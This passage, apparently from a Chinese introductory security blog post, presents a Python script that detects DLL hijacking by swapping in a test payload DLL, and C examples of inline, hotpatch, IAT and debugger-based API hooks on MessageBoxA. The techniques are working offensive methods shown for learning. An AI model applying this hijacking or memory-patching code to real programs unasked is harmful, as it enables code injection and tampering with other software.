然后获取到程序运行后加载的所有DLL名称(不只是导入表中的,因为导入的DLL还会导入其他DLL),同时排除掉KnownDLLs列表中已经存在的DLL以及WinSxS目录下的DLL(因为系统会对目录下的DLL加载进行安全验证)。
最后将准备好的payload.dll置于程序同一目录下,这个DLL会在加载时在当前目录创建一个temp文件,然后可以通过判断是否存在此文件来验证DLL是否被加载。我们不断地重命名payload.dll为已经获取到的DLL列表中的名称,如果成功创建文件则表明存在DLL劫持;如果程序崩溃则说明payload.dll可能没有实现原先DLL中的某些功能;如果程序正常启动,则认为此DLL不存在劫持。

3.1 获取DLL列表

使用psutil可以直接获取到进程加载的DLL。

known_dlls = []  
import_dlls = []  
load_dlls = []  
  
  
def get_known_dlls():  
    """  
    获取系统的KnownDlls列表  
    :return:  
    """    access_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs")  
    try:  
       i = 0  
       while True:  
          dll_name = winreg.EnumValue(access_key, i)[1].lower()  
          # print(dll_name)  
          known_dlls.append(dll_name)  
          i += 1  
    except Exception as e:  
       print("[+] Read registry finished:", e)  
    finally:  
       winreg.CloseKey(access_key)  
  
  
def get_import_dlls(fileName):  
    """  
    显示导入表中可能被利用的DLL  
    :return:  
    """    pe = PE(fileName)  
    import_table = pe.DIRECTORY_ENTRY_IMPORT  
    for i in import_table:  
       dll_name = i.dll.decode().lower()  
       if dll_name not in known_dlls:  
          import_dlls.append(dll_name)  
  
  
def get_load_dlls(pid):  
    """  
    显示载入时加载的DLL  
    :return:  
    """    try:  
       proc = psutil.Process(pid)  
       for mem in proc.memory_maps():  
          if (mem.path.endswith('.dll') or mem.path.endswith('.drv')) and 'WinSxS' not in mem.path:  
             begin = mem.path.rfind('\\') + 1  
             dll_name = mem.path[begin:]  
             if dll_name not in known_dlls and dll_name not in load_dlls:  
                load_dlls.append(dll_name)  
    except Exception as e:  
       print("[!] ", e)

3.2 劫持测试

def test_hijack(filename, dlls):  
    """  
    使用恶意DLL进行劫持测试  
    :return:  
    """    for dll in dlls:  
       os.rename('./files/payload32.dll', './files/'+dll)  
       proc = psutil.Popen(filename)  
       time.sleep(0.5)  
       if os.path.exists('./temp_4396'):  
          print(f"[+] {dll} for {filename} can be hijacked!")  
          os.remove('./temp_4396')  
       try:  
          proc.terminate()  
       except psutil.NoSuchProcess:  
          print(f"[*] {dll} for {filename} may be hijacked!")  
       finally:  
          os.rename('./files/'+dll, './files/payload32.dll')

对Windows XP下的notepad.exe进行测试的结果如下:
1-1

4 API Hook

网上对于Hook的分类有很多,上面在DLL注入中已经介绍了消息Hook,所以在这里就只介绍Ring3中的API Hook,即对系统DLL中的API函数进行挂钩。网上也有称之为Inject Hook的,但是我感觉还是API Hook最合适。
访问其他进程的最简单方式就是DLL,所以Hook通常也是通过DLL注入实现的。我们在DLL中设置好Hook函数,在DLL加载时就进行挂钩,DLL卸载时进行脱钩就可以实现完整的Hook过程。
此部分的代码很多都参考了selph师傅的博客,只实现了32位程序的Hook。

4.1 Inline Hook

修改API函数地址的开头的机器码为JMP跳转指令,如果还需要使用原有的API函数,则需要先Unhook,调用完后再重新Hook。

#include <Windows.h>


BYTE originOpcode[5] = { 0 };


void InstallHook(PROC hookAddr);
void UninstallHook(void);
int WINAPI Hook(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);


BOOL WINAPI DllMain(HMODULE hModule, DWORD  fdwReason, LPVOID lpReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  InstallHook((PROC)Hook);
  MessageBoxA(NULL, NULL, "InstallHook!", MB_OK);
  break;
 case DLL_PROCESS_DETACH:
  UninstallHook();
  break;
 }
 return TRUE;
}


void InstallHook(PROC hookAddr)
{
 BYTE hookOpcode[5] = { 0xE9, 0 };
 //HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, GetCurrentProcessId());
 HANDLE hProcess = GetCurrentProcess();
 // 1. 获取API函数地址
 PROC procAddr = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
 // 2. 修改内存属性
 DWORD originFlags = 0;
 VirtualProtectEx(hProcess, procAddr, 5, PAGE_EXECUTE_READWRITE, &originFlags);
 // 3. 读取原机器码,保存
 ReadProcessMemory(hProcess, procAddr, originOpcode, 5, NULL);
 // 4. 构造跳转机器码,写入
 DWORD jmpAddr = (DWORD)hookAddr - (DWORD)procAddr - 5;
 memcpy(&hookOpcode[1], &jmpAddr, 4);
 WriteProcessMemory(hProcess, procAddr, hookOpcode, 5, NULL);
 // 5. 恢复内存属性
 VirtualProtectEx(hProcess, procAddr, 5, originFlags, NULL);
}


void UninstallHook(void)
{
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, GetCurrentProcessId());
 // 1. 获取API函数地址
 PROC procAddr = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
 // 2. 修改内存属性
 DWORD origin_flags = 0;
 VirtualProtectEx(hProcess, procAddr, 5, PAGE_EXECUTE_READWRITE, &origin_flags);
 // 3. 将原来的机器码写入
 WriteProcessMemory(hProcess, procAddr, originOpcode, 5, NULL);
 // 4. 恢复内存属性
 VirtualProtectEx(hProcess, procAddr, 5, origin_flags, NULL);
}


int WINAPI Hook(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
 UninstallHook();
 MessageBoxA(NULL, NULL, "Hooked!", MB_OK);
 InstallHook((PROC)Hook);
 return 0;
}

HotFix

如果想要Hook的API函数的地址前有至少5字节空闲区域可以被利用,则可以在其地址前的5个字节构造JMP指令,在函数地址处构造机器码0xEB, 0xF9跳转到-7字节,即函数前5字节JMP指令,那么正常的API调用就会跳转到JMP指令上。如果我们需要使用原有的API函数,只需要调用函数地址+2就可以了。

#include <Windows.h>


BYTE originOpcode[7] = { 0 };


void InstallHook(PROC hookAddr);
void UninstallHook(void);
int WINAPI Hook(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);


BOOL WINAPI DllMain(HMODULE hModule, DWORD  fdwReason, LPVOID lpReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  InstallHook((PROC)Hook);
  MessageBoxA(NULL, NULL, "InstallHook!", MB_OK);
  break;
 case DLL_PROCESS_DETACH:
  UninstallHook();
  break;
 }
 return TRUE;
}


void InstallHook(PROC hookAddr)
{
 BYTE hookOpcode[7] = { 0xE9, 0, 0, 0, 0, 0xEB, 0xF9 };
 HANDLE hProcess = GetCurrentProcess();
 // 1. 获取API函数地址, 计算Hook的起始地址
 PROC procAddr = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
 PBYTE beginAddr = (PBYTE)procAddr - 5;
 // 2. 读取原来的机器码
 DWORD originFlags = 0;
 VirtualProtectEx(hProcess, beginAddr, 7, PAGE_EXECUTE_READWRITE, &originFlags);
 ReadProcessMemory(hProcess, beginAddr, originOpcode, 7, NULL);
 DWORD jmpAddr = (DWORD)hookAddr - (DWORD)procAddr; // 此处加5减5正好抵消了
 // 3. 构造跳转机器码,写入
 memcpy(&hookOpcode[1], &jmpAddr, 4);
 WriteProcessMemory(hProcess, beginAddr, hookOpcode, 7, NULL);
 VirtualProtectEx(hProcess, procAddr, 7, originFlags, NULL);
}


void UninstallHook(void)
{
 HANDLE hProcess = GetCurrentProcess();
 PROC procAddr = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
 PBYTE beginAddr = (PBYTE)procAddr - 5;
 DWORD originFlags = 0;
 VirtualProtectEx(hProcess, beginAddr, 7, PAGE_EXECUTE_READWRITE, &originFlags);
 WriteProcessMemory(hProcess, beginAddr, originOpcode, 7, NULL);
 VirtualProtectEx(hProcess, procAddr, 7, originFlags, NULL);
}


int WINAPI Hook(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
 typedef int (WINAPI* MessageBoxA_t)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
 PROC procAddr = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
 PBYTE endAddr = (PBYTE)procAddr + 2;
 MessageBoxA_t HookMessageBoxA = (MessageBoxA_t)endAddr;
 HookMessageBoxA(NULL, NULL, "Hooked!", MB_OK);
 return 0;
}

4.2 IAT Hook

此方法是修改加载到内存中的PE结构中的IAT表,此时IAT表存储的已经是函数的地址了,我们只需要遍历IAT,找到要Hook的DLL中对应的API函数地址然后进行修改即可。此时并不会修改DLL中的IAT,所以原有的API函数依然可以正常使用。

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>


void InstallHook(LPCSTR DLLName, PROC procAddr, PROC hookAddr);
int WINAPI Hook(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);


BOOL WINAPI DllMain(HMODULE hModule, DWORD  fdwReason, LPVOID lpReserved)
{
    PROC procAddr = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
    PROC hookAddr = (PROC)Hook;
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
        InstallHook("user32.dll", procAddr, hookAddr);
        MessageBoxA(NULL, NULL, "InstallHook!", MB_OK);
  break;
 case DLL_PROCESS_DETACH:
        InstallHook("user32.dll", hookAddr, procAddr);
  break;
 }
 return TRUE;
}


void InstallHook(LPCSTR DLLName, PROC procAddr, PROC hookAddr)
{
 HMODULE hModule = GetModuleHandle(NULL);
 // 解析PE
 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
 PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((SIZE_T)hModule + pDosHeader->e_lfanew);
 DWORD szImageBase = pNtHeader->OptionalHeader.ImageBase;
 DWORD szImpRva = (DWORD)pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
 PIMAGE_IMPORT_DESCRIPTOR pImpDes = (PIMAGE_IMPORT_DESCRIPTOR)(szImageBase + szImpRva);
    // 变量导入表
    while (pImpDes->Name) {
        DWORD szNameAddr = szImageBase + pImpDes->Name;
        char szName[MAXBYTE] = { 0 };
        strcpy_s(szName, (char*)szNameAddr);
        if (strcmp(_strlwr(szName), DLLName) == 0) {

            PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(pImpDes->FirstThunk + (DWORD)hModule);
            while (pThunk->u1.Function) {
                if (pThunk->u1.Function == (DWORD)procAddr) {
                    //修改访问权限
                    DWORD dwOldProtect;
                    VirtualProtectEx(GetCurrentProcess(), (LPVOID)&pThunk->u1.Function, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
                    //修改IAT
                    pThunk->u1.Function = (DWORD)hookAddr;
                    VirtualProtectEx(GetCurrentProcess(), (LPVOID)&pThunk->u1.Function, 8, dwOldProtect, NULL);
                    break;
                }
                pThunk++;
            }
            break;
        }
        pImpDes++;
    }
}


int WINAPI Hook(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
    MessageBoxA(NULL, NULL, "Hooked!", MB_OK);
    return 0;
}

4.3 Debug Hook

使用Win32 API 实现一个简单的调试器,在API 函数地址处构造INT3断点,中断后调用Hook函数。感觉没啥太大意义。

#include <Windows.h>
#include <stdio.h>


CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE originOpcode = 0;
BYTE intOpcode = 0xCC;

void InstallHook(PROC procAddr, LPDEBUG_EVENT pde);
void UninstallHook(PROC procAddr);
void Hook(PROC procAddr, LPDEBUG_EVENT pde);
void DebugLoop(void);


int main()
{
    DebugActiveProcess(27464);
    DebugLoop();
 return 0;
}


void InstallHook(PROC procAddr, LPDEBUG_EVENT pde)
{
 memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO)); 
 ReadProcessMemory(g_cpdi.hProcess, procAddr, &originOpcode, sizeof(BYTE), NULL);
 WriteProcessMemory(g_cpdi.hProcess, procAddr, &intOpcode, sizeof(BYTE), NULL);
 printf("[+] 已添加断点!\n");
}


void UninstallHook(PROC procAddr)
{
 WriteProcessMemory(g_cpdi.hProcess, procAddr, &originOpcode, sizeof(BYTE), NULL);
 printf("[+] 已取消断点!\n");
}


void Hook(PROC procAddr, LPDEBUG_EVENT pde)
{
    PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
    CONTEXT ctx;
    SIZE_T titleAddr;
    char title[] = "Hooked";
    if (per->ExceptionCode == EXCEPTION_BREAKPOINT) {
        if (per->ExceptionAddress == procAddr) {
            printf("[+] 程序已中断!\n");
            // 1. 解除hook
            UninstallHook(procAddr);
            // 2. 获取线程上下文
            ctx.ContextFlags = CONTEXT_CONTROL;
            GetThreadContext(g_cpdi.hThread, &ctx);
            // 3. 更改参数值
            ReadProcessMemory(g_cpdi.hProcess, (LPCVOID)(ctx.Esp + 12), &titleAddr, sizeof(SIZE_T), NULL);
            //printf("[-] ESP地址:%ph\n", ctx.Esp);
            //printf("[-] MSG函数参数为:%x\n", &titleAddr);
            DWORD dwOldProtect;
            VirtualProtectEx(g_cpdi.hProcess, (LPVOID)titleAddr, 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
            WriteProcessMemory(g_cpdi.hProcess, (LPVOID)titleAddr, (LPVOID)title, 7, NULL);
            VirtualProtectEx(g_cpdi.hProcess, (LPVOID)titleAddr, 7, dwOldProtect, NULL);
            // 4. 还原EIP指针
            ctx.Eip = (SIZE_T)procAddr;
            SetThreadContext(g_cpdi.hThread, &ctx);
            Sleep(0);
            // 5. 恢复运行进程
            ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
            // 6. Hook
            WriteProcessMemory(g_cpdi.hProcess, procAddr, &intOpcode, sizeof(BYTE), NULL);
        }
    }
}


void DebugLoop(void)
{
    PROC procAddr = GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
    printf("[+] 已附加到程序!\n");
    printf("[+] Hook API地址:%ph\n", procAddr);
    DEBUG_EVENT de;     //调试事件
    //等待调试事件的发生
    while (WaitForDebugEvent(&de, INFINITE)) {//等待调试信息,收到调试信息立即返回进入循环

        // 被调试进程生成或附加事件,被调试进程启动或者附加时执行
        if (CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode) {
            InstallHook(procAddr, &de);
        }
        //异常事件调试,负责处理INT3中断事件
        else if (EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode) {
            Hook(procAddr, &de);
        }
        //被调试进程终止事件,进程中止后,调试器也结束
        else if (EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode) {
            break;
        }
        //再次运行被调试者
        ContinueDebugEvent(de.dwProcessId, de.dwThreadId, DBG_CONTINUE);
    }
}

5 写在最后

这是一篇入门性质的文章,列举了Windows系统中的一些安全问题。我在写这篇文章之前惊奇的发现我做的这些实验竟然都在《逆向工程核心原理》一书中的前几章中提到了,所以就把这4部分放在一起做了总结。
第一篇文章,写的很仓促很潦草,如果有任何错误和遗漏恳请大家的指正和补充。

6 参考